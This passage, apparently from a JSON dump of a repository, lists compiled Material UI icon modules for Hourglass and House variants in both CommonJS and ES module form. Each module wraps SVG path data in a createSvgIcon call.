    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2z\"\n}), 'HourglassFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassFullRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 4v3.17c0 .53.21 1.04.59 1.42L10 12l-3.42 3.42c-.37.38-.58.89-.58 1.42V20c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-3.16c0-.53-.21-1.04-.58-1.41L14 12l3.41-3.4c.38-.38.59-.89.59-1.42V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2\"\n}), 'HourglassFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassFullRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 4v3.17c0 .53.21 1.04.59 1.42L10 12l-3.42 3.42c-.37.38-.58.89-.58 1.42V20c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-3.16c0-.53-.21-1.04-.58-1.41L14 12l3.41-3.4c.38-.38.59-.89.59-1.42V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2\"\n}), 'HourglassFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassFullSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2z\"\n}), 'HourglassFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassFullSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2z\"\n}), 'HourglassFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassFullTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 7.5 4 4 4-4V4H8zm0 9V20h8v-3.5l-4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18zm-2 14.5V20H8v-3.5l4-4zm0-9-4 4-4-4V4h8z\"\n}, \"1\")], 'HourglassFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassFullTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 7.5 4 4 4-4V4H8zm0 9V20h8v-3.5l-4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18zm-2 14.5V20H8v-3.5l4-4zm0-9-4 4-4-4V4h8z\"\n}, \"1\")], 'HourglassFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassTop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 2 .01 6L10 12l-3.99 4.01L6 22h12v-6l-4-4 4-3.99V2zm10 14.5V20H8v-3.5l4-4z\"\n}), 'HourglassTop');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassTop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 2 .01 6L10 12l-3.99 4.01L6 22h12v-6l-4-4 4-3.99V2zm10 14.5V20H8v-3.5l4-4z\"\n}), 'HourglassTop');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassTopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 2 .01 6L10 12l-3.99 4.01L6 22h12v-6l-4-4 4-3.99V2zm10 14.5V20H8v-3.5l4-4z\"\n}), 'HourglassTopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassTopOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 2 .01 6L10 12l-3.99 4.01L6 22h12v-6l-4-4 4-3.99V2zm10 14.5V20H8v-3.5l4-4z\"\n}), 'HourglassTopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassTopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 2c-1.1 0-2 .9-2 2l.01 3.18c0 .53.21 1.03.58 1.41L10 12l-3.41 3.43c-.37.37-.58.88-.58 1.41L6 20c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-3.16c0-.53-.21-1.04-.58-1.41L14 12l3.41-3.4c.38-.38.59-.89.59-1.42V4c0-1.1-.9-2-2-2zm8 14.91V19c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-2.09c0-.27.11-.52.29-.71L12 12.5l3.71 3.71c.18.18.29.44.29.7\"\n}), 'HourglassTopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassTopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 2c-1.1 0-2 .9-2 2l.01 3.18c0 .53.21 1.03.58 1.41L10 12l-3.41 3.43c-.37.37-.58.88-.58 1.41L6 20c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-3.16c0-.53-.21-1.04-.58-1.41L14 12l3.41-3.4c.38-.38.59-.89.59-1.42V4c0-1.1-.9-2-2-2zm8 14.91V19c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-2.09c0-.27.11-.52.29-.71L12 12.5l3.71 3.71c.18.18.29.44.29.7\"\n}), 'HourglassTopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassTopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 2 .01 6L10 12l-3.99 4.01L6 22h12v-6l-4-4 4-3.99V2zm10 14.5V20H8v-3.5l4-4z\"\n}), 'HourglassTopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassTopSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 2 .01 6L10 12l-3.99 4.01L6 22h12v-6l-4-4 4-3.99V2zm10 14.5V20H8v-3.5l4-4z\"\n}), 'HourglassTopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassTopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 7.5 4 4 4-4V4H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 7.5 4 4 4-4V4H8z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6v6l4 4-3.99 4.01L6 22h12l-.01-5.99L14 12l4-3.99zm-2 14.5V20H8v-3.5l4-4zm0-9-4 4-4-4V4h8z\"\n}, \"2\")], 'HourglassTopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassTopTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 7.5 4 4 4-4V4H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 7.5 4 4 4-4V4H8z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6v6l4 4-3.99 4.01L6 22h12l-.01-5.99L14 12l4-3.99zm-2 14.5V20H8v-3.5l4-4zm0-9-4 4-4-4V4h8z\"\n}, \"2\")], 'HourglassTopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/House.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9.3V4h-3v2.6L12 3 2 12h3v8h5v-6h4v6h5v-8h3zm-9 .7c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'House');"
  },
  {
    "path": "packages/mui-icons-material/lib/House.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9.3V4h-3v2.6L12 3 2 12h3v8h5v-6h4v6h5v-8h3zm-9 .7c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'House');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9.3V4h-3v2.6L12 3 2 12h3v8h6v-6h2v6h6v-8h3zM17 18h-2v-6H9v6H7v-7.81l5-4.5 5 4.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10h4c0-1.1-.9-2-2-2s-2 .9-2 2\"\n}, \"1\")], 'HouseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9.3V4h-3v2.6L12 3 2 12h3v8h6v-6h2v6h6v-8h3zM17 18h-2v-6H9v6H7v-7.81l5-4.5 5 4.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10h4c0-1.1-.9-2-2-2s-2 .9-2 2\"\n}, \"1\")], 'HouseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9.3V5c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1.6l-3.33-3c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87H5v7c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-5h4v5c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-7h1.7c.46 0 .68-.57.33-.87zm-9 .7c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'HouseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9.3V5c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1.6l-3.33-3c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87H5v7c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-5h4v5c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-7h1.7c.46 0 .68-.57.33-.87zm-9 .7c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'HouseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9.3V4h-3v2.6L12 3 2 12h3v8h5v-6h4v6h5v-8h3zm-9 .7c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'HouseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9.3V4h-3v2.6L12 3 2 12h3v8h5v-6h4v6h5v-8h3zm-9 .7c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'HouseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSiding.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v8h2v-2h10v2h2zM7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\"\n}), 'HouseSiding');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSiding.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v8h2v-2h10v2h2zM7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\"\n}), 'HouseSiding');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSidingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v8h2v-2h10v2h2zM7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\"\n}), 'HouseSidingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSidingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v8h2v-2h10v2h2zM7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\"\n}), 'HouseSidingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSidingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h1.7c.46 0 .68-.57.33-.87L12.67 3.6c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87H5v7c0 .55.45 1 1 1s1-.45 1-1v-1h10v1c0 .55.45 1 1 1s1-.45 1-1zM7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\"\n}), 'HouseSidingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSidingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h1.7c.46 0 .68-.57.33-.87L12.67 3.6c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87H5v7c0 .55.45 1 1 1s1-.45 1-1v-1h10v1c0 .55.45 1 1 1s1-.45 1-1zM7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\"\n}), 'HouseSidingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSidingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v8h2v-2h10v2h2zM7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\"\n}), 'HouseSidingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSidingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v8h2v-2h10v2h2zM7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\"\n}), 'HouseSidingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSidingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v8h2v-2h10v2h2zM7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\"\n}, \"1\")], 'HouseSidingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseSidingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h3L12 3 2 12h3v8h2v-2h10v2h2zM7.21 10h9.58l.21.19V12H7v-1.81zm7.36-2H9.43L12 5.69zM7 16v-2h10v2z\"\n}, \"1\")], 'HouseSidingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 10.19V18h2v-6h6v6h2v-7.81l-5-4.5zm7-.19h-4c0-1.1.9-2 2-2s2 .9 2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9.3V4h-3v2.6L12 3 2 12h3v8h6v-6h2v6h6v-8h3zM17 18h-2v-6H9v6H7v-7.81l5-4.5 5 4.5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10h4c0-1.1-.9-2-2-2s-2 .9-2 2\"\n}, \"2\")], 'HouseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 10.19V18h2v-6h6v6h2v-7.81l-5-4.5zm7-.19h-4c0-1.1.9-2 2-2s2 .9 2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9.3V4h-3v2.6L12 3 2 12h3v8h6v-6h2v6h6v-8h3zM17 18h-2v-6H9v6H7v-7.81l5-4.5 5 4.5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10h4c0-1.1-.9-2-2-2s-2 .9-2 2\"\n}, \"2\")], 'HouseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Houseboat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c-1.95 0-2.1 1-3.34 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.08-1 3.32-1s1.37 1 3.32 1c1.91 0 2.14-1 3.33-1 1.18 0 1.45 1 3.35 1v-2c-1.24 0-1.38-1-3.33-1-1.91 0-2.14 1-3.33 1-1.24 0-1.39-1-3.34-1m8.34-4.66-1.37 1.37c-.19.18-.45.29-.71.29H17V9.65l1.32.97L19.5 9 12 3.5 4.5 9l1.18 1.61L7 9.65V13H5.74c-.27 0-.52-.11-.71-.29l-1.37-1.37-1.41 1.41 1.37 1.37c.56.56 1.33.88 2.12.88h12.51c.8 0 1.56-.32 2.12-.88l1.37-1.37zM13 13h-2v-2h2z\"\n}), 'Houseboat');"
  },
  {
    "path": "packages/mui-icons-material/lib/Houseboat.mjs",
